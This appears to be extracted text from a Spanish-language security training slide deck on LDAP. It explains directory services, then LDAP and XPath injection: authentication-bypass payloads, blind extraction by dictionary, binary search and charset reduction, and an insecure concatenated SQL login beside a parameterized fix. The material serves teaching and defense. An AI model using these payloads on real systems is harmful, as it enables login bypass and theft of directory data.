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 Directorios y servicios de Directorio

 Introducción a LDAP

 Seguridad en LDAP

 LDAP Injection

 & LDAP Injection

 | LDAP Injection

 Blind LDAP Injection



¿Qué es un directorio?
 Palabra “poco” utilizada

 Una base de datos especializada en

 Consulta de datos frente a actualización de datos

 Realizar búsquedas específicas frente a listar resultados

 Una base de datos que tolera inconsistencias temporales 
entre sus réplicas

 Algo que utilizan casi todos los servicios y aplicaciones 
de red para almacenar la información de los usuarios.



¿Qué es un servicio de Directorio?
 Un protocolo de red para acceder a los directorios

 Suele incluir un esquema o patrón de la estructura del 
directorio para que sea posible la replicación y 
distribución de datos

 Pueden ser:

 Locales: Proporcionan información de un contexto 
limitado y un único directorio

 Globales: Proporcionan información distribuida entre 
varios directorios. (Ejemplo Servicio DNS)



Problemática de los directorios
 Aunque no sabemos muy bien que son, son 

imprescindibles en nuestras infraestructuras

 Son necesarios casi para cualquier aplicación o servicio de 
red.

 Su proliferación genera problemas:

 Se multiplica el esfuerzo para generarlos

 Se multiplica el esfuerzo para que gestionarlos 

 Se almacenan información duplicada

 Se producen inconsistencias

 Pobre experiencia de usuario

 Problemas de seguridad 



Estándares de directorio  X.500

 Un conjunto de estándares sobre servicios de 
directorio

 Optimizado para operaciones de Lectura

 Estructura Jerárquica

 Esquema extensible

 Objetos con Clase y Atributos

 Espacio de nombres OID

 Herencia de Clase



¿Qué es LDAP?

 La definición de un protocolo sobre TCP/IP para 
acceso a directorios 

 La implementación sencilla de DAP (OSI), creada en 
1993 con la RFC 1487 para acceso a directorios X.500

 Se empezó a popularizar con la Versión 2 RFC 1777. 
Actualmente en Versión 3 RFC 4511

 Se desarrollo pensando en solventar la problemática 
generada por la proliferación de directorios.

 NO es un directorio ni una Base de datos ni un 
almacén de información

http://www.ietf.org/rfc/rfc1487.txt
http://www.ietf.org/rfc/rfc1487.txt
http://www.ietf.org/rfc/rfc1487.txt
http://www.ietf.org/rfc/rfc1487.txt


¿Qué problemas resuelve?
 Unificación de Directorios

 Normalización de los datos

 Gestión consistente y centralizada

 Mejor y mas consistente experiencia de usuario

 Seguridad

 ¿Como?

 Diseñado para albergar directorios de propósito general

 Protocolo Sencillo

 Arquitectura distribuida

 Seguridad (Versión 3. Acceso-TLS, Autenticación-SASL)

 Estándar abierto.

 Solicitud de funcionalidad y esquema

 Internalización (UTF-8)



Funcionamiento
 Servidor

 Debe de proporcionar información estándar de su 
“RootDSA”

 Escucha en el puerto 389 (636 vía SSL)

 Puede negociar o requerir seguridad

 Cliente

 Primero se ha de conectar al servidor LDAP

 Recibe del Servidor  un Mensaje de Resultado estándar

 Mensaje

 Hace que todas las comunicaciones sean uniformes

 El ID del mensaje mantiene el registro del cliente y 
solicitud

 Detalles de control opcionales

 Las solicitudes que realiza el cliente son Conexión, Añadir, 
Buscar, Borrar y Modificar



Expansión de LDAP
 Implementado por:
 Active Directory- Microsoft (ADAM)

 Novell Directory Services-Novell

 iPlanet

 OpenLDAP

 Red Hat Directory Server 

 Esta en cualquier organización que utilice alguno de 
estas soluciones.

 Como directorio de validación para muchos entornos 
WEB.



ADAM



OpenLDAP



Resumen LDAP 

 LDAP: Base de datos Jerarquica

 Clases

 Objetos

 Herencia

 Contenedores

 Búsqueda: LDAP Search Filters



RFC: 4515
filter = LPAREN filtercomp RPAREN

filtercomp = and / or / not / item

and = AMPERSAND filterlist

or = VERTBAR filterlist

not = EXCLAMATION filter

filterlist = 1*filter

item = simple / present / substring / extensible

simple = attr filtertype assertionvalue

filtertype = equal / approx / greaterorequal / lessorequal

equal = EQUALS

approx = TILDE EQUALS

greaterorequal = RANGLE EQUALS lessorequal = LANGLE 
EQUALS



AND LDAP Injection
(&(attribute1=value1)(attribute2=value2))

Ejemplo:

(&(directory=documents)(securitylevel=low))

Inyección

(&(directory=files)(securitylevel=*))

(&(directory=documents)(securitylevel=low))
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AND LDAP Injection



OR 1=1 en LDAP en 1 filtro

(&(uid=valor_usuario)(webpassword=valor_password))

Valor_usuario = admin)(!(&(|

Valor password = any))

(&(uid= admin)(!(&(|)(webpassword= any))))



OR 1=1 en LDAP en 2 filtros

(&(uid=valor_usuario)(webpassword=valor_password))

Valor_usuario = admin))(|(|

Valor password = any

(&(uid= admin))(|(|)(webpassword= any))



OR 1=1 en LDAP en 1 filtro y pico

(&(uid=valor_usuario)(webpassword=valor_password))

Valor_usuario = admin)

Valor password = any

(&(uid= admin)) (webpassword= any))
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AND LDAP Injection
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AND LDAP Injection
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AND LDAP Injection



OR LDAP Injection
(|(attribute1=value1)(attribute2=value2))

Ejemplo:

(|(cn=D*)(ou=Groups))

Inyección:

(|(cn=void)(uid=*)(ou=Groups))

23



24

OR LDAP Injection
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OR LDAP Injection



Blind LDAP injecttion
 Tiene lógica binaria
 Tiene soporte para booleanización:

 Comodín: *
 Reducción charset: *a*
 Despliegue: a*

 Relacionales: 
 >=
 <=
 ~=
 =

 Certezas absolutas (RFC  4526)
 Absolute FALSE (|) 
 Absolute TRUE (&) 



Blind LDAP Injection
Ataque de diccionario
Ejemplo:

(& (objectClass=printer)(type=HP LaserJet 2100))

Inyección para obtener un resultado TRUE:

(&(objectClass=printer)(type=HP LaserJet 2100)(objectClass=*))

Inyecciones para obtener valorees objectClass:

(&(objectClass=printer)(type=HP LaserJet 2100)(objectClass=logins))

(&(objectClass=printer)(type=HP LaserJet 2100)(objectClass=docs))

(&(objectClass=printer)(type=HP LaserJet 2100)(objectClass=news))

(&(objectClass=printer)(type=HP LaserJet 2100)(objectClass=adms))

(&(objectClass=printer)(type=HP LaserJet 2100)(objectClass=users))

….
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Attributo NO existe (o no hay acceso)

Blind LDAP Injection
Ataque de diccionario
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Attributo existe (y tenemos privilegio de acceso)

Blind LDAP Injection
Ataque de diccionario



Blind LDAP injection
Búsqueda Binaria

 ¿Cuánto dinero gana José Parada?

30

Low index: 1 – High index: 10 – Middle value: 5

(&(objectClass=*)(uid=jparada)(salary>=5)) ->FALSE

Low index: 1 – High index: 5 – Middle value: 2

(&(objectClass=*)(uid=jparada)(salary>=2)) ->TRUE

Low index: 2 – High index: 5 – Middle value: 3

(&(objectClass=*)(uid=jparada)(salary>=3)) ->TRUE

Low index: 3 – High index: 5 – Middle value: 4

(&(objectClass=*)(uid=jparada)(salary>=4)) ->FALSE

Low index: 4 – High index: 4 – Middle value: 4

Salary=4 [millones de € por mes]



Blind ldap injection
Booleanizacion de datos
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Inyecciones para obtener los valroes de department:

(&(objectClass=printer)(type=HP LaserJet 2100)(department=*)) ->TRUE

(&(objectClass=printer)(type=HP LaserJet 2100)(department=a*)) -> FALSE

(&(objectClass=printer)(type=HP LaserJet 2100)(department=b*))-> FALSE

(&(objectClass=printer)(type=HP LaserJet 2100)(department=c*)) -> FALSE

(&(objectClass=printer)(type=HP LaserJet 2100)(department=d*)) -> FALSE

(&(objectClass=printer)(type=HP LaserJet 2100)(department=e*)) -> FALSE

(&(objectClass=printer)(type=HP LaserJet 2100)(department=f*))->TRUE

(&(objectClass=printer)(type=HP LaserJet 2100)(department=fa*)) -> FALSE

(&(objectClass=printer)(type=HP LaserJet 2100)(department=fb*)) -> FALSE

….

(&(objectClass=printer)(type=HP LaserJet 2100)(department=fi*))->TRUE

Blind ldap injection
Booleanizacion de datos
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Falso

Blind ldap injection
Booleanizacion de datos
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True

Blind ldap injection
Booleanizacion de datos
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False

Blind ldap injection
Booleanizacion de datos
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True

Blind ldap injection
Booleanizacion de datos



Blind LDAP Injection
CHARSET REDUCTION

Injections to obtain charset used for store data in a attribute:

(&(objectClass=printer)(type=HP LaserJet 2100)(department=*a*)) ->TRUE

(&(objectClass=printer)(type=HP LaserJet 2100)(department=*b*)) -> FALSE

(&(objectClass=printer)(type=HP LaserJet 2100)(department=*c*)) ->TRUE

(&(objectClass=printer)(type=HP LaserJet 2100)(department=*d*)) -> FALSE

(&(objectClass=printer)(type=HP LaserJet 2100)(department=*e*)) -> FALSE

(&(objectClass=printer)(type=HP LaserJet 2100)(department=*f*)) ->TRUE

(&(objectClass=printer)(type=HP LaserJet 2100)(department=*g*))->FALSE

(&(objectClass=printer)(type=HP LaserJet 2100)(department=*h*)) -> FALSE

(&(objectClass=printer)(type=HP LaserJet 2100)(department=*i*)) ->TRUE

….

(&(objectClass=printer)(type=HP LaserJet 2100)(department=*z*))->TRUE
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False

Blind LDAP Injection
CHARSET REDUCTION



39

True

Blind LDAP Injection
CHARSET REDUCTION



Contramedidas

 LDAP Injection/Blind LDAP Injection

 Filtrar

 Uso de privilegios & Roles LDAP

 MIMT

 LDAP-s

 IPSec 



Explotación

Dada la siguiente consulta Xpath:

Inyectamos:

La condición quedaría:

XPath Injection

User: abc' or 1=1 or 'a'='b

Pass: k

username/text()=‘abc' or 1=1 or 'a'='b' and password/text()=‘k'

string(//user[username/text()=‘romansoft' and password/text()='!dSR']/uid/text()) 

Condición Qué 

devolver
Dónde buscar



29/03/2006 Training Day - Vigo

Contramedidas

 No confianza en medias de protección en cliente.

 Comprobación de datos de entrada.

 Construcción segura de sentencias SQL/LDAP/XPath.

 Fortificación de Servidor Web.
 Códigos de error.
 Restricción de verbos, longitudes, etc..
 Filtrado de contenido HTTP en Firewall.

 URLFilter
 ModSecurity
 GreenSQL

 Fortificación de SGBD.
 Restricción de privilegios de motor/usuario de acceso desde web.
 Aislamiento de bases de datos.



29/03/2006 Training Day - Vigo

Contramedidas

 Desarrollo .NET

 Redirigir a una página personalizada en caso de error

 Web.Config

 Mode  On, Off, RemoteOnly

 DefaultRedirect  Error no especificado

 <error…>Errores específicos

<customErrors mode="RemoteOnly" defaultRedirect="GenericErrorPage.htm">

<error statusCode="403" redirect="NoAccess.htm"/>

<error statusCode="404" redirect="FileNotFound.htm"/>

</customErrors>



29/03/2006 Training Day - Vigo

Contramedidas

 Desarrollo .NET (Validadores)



29/03/2006 Training Day - Vigo

Contramedidas

 Desarrollos en .NET (Código inseguro)

protected void Button1_Click(object sender, EventArgs e){

SqlConnection conn = new SqlConnection(connstr);

conn.Open();

SqlCommand cmd = new SqlCommand();

cmd.Connection = conn;

cmd.CommandText = "Select * from Usuarios where login='"+ txtLogin.Text +"‘

and password='"+ txtPassword.Text +"'";

cmd.CommandType = CommandType.Text;

SqlDataReader dr = cmd.ExecuteReader();

if (dr.HasRows){

//Código para permitir el paso a la aplicación

Response.Write("<script>alert('Acceso permitido');</script>");

}

else{

//Codigo para rechazar el usuario

Response.Write("<script>alert('Acceso denegado');</script>");

}

conn.Close();

}



29/03/2006 Training Day - Vigo

Contramedidas
 Desarrollo .NET (Código seguro)

 Consultas parametrizadas

protected void Button1_Click(object sender, EventArgs e){

SqlConnection conn = new SqlConnection(connstr);

conn.Open();

SqlCommand cmd = new SqlCommand();

cmd.Connection = conn;

cmd.CommandText = "Select * from Usuarios where login=@login 

and password=@pass";

cmd.Parameters.AddWithValue("login", txtLogin);

cmd.Parameters.AddWithValue("pass", txtPassword.Text);

cmd.CommandType = CommandType.Text;

dr = cmd.ExecuteReader();

if (dr.HasRows){//Código para permitir el paso a la aplicación

Response.Write("<script>alert('Acceso permitido');</script>");

} else{//Codigo para rechazar el usuario

Response.Write("<script>alert('Acceso denegado');</script>");

} conn.Close();    }



Solución Total



TechNews
 http://www.informatic64.com/boletines/

http://www.informatic64.com/boletines/


http://www.elladodelmal.com
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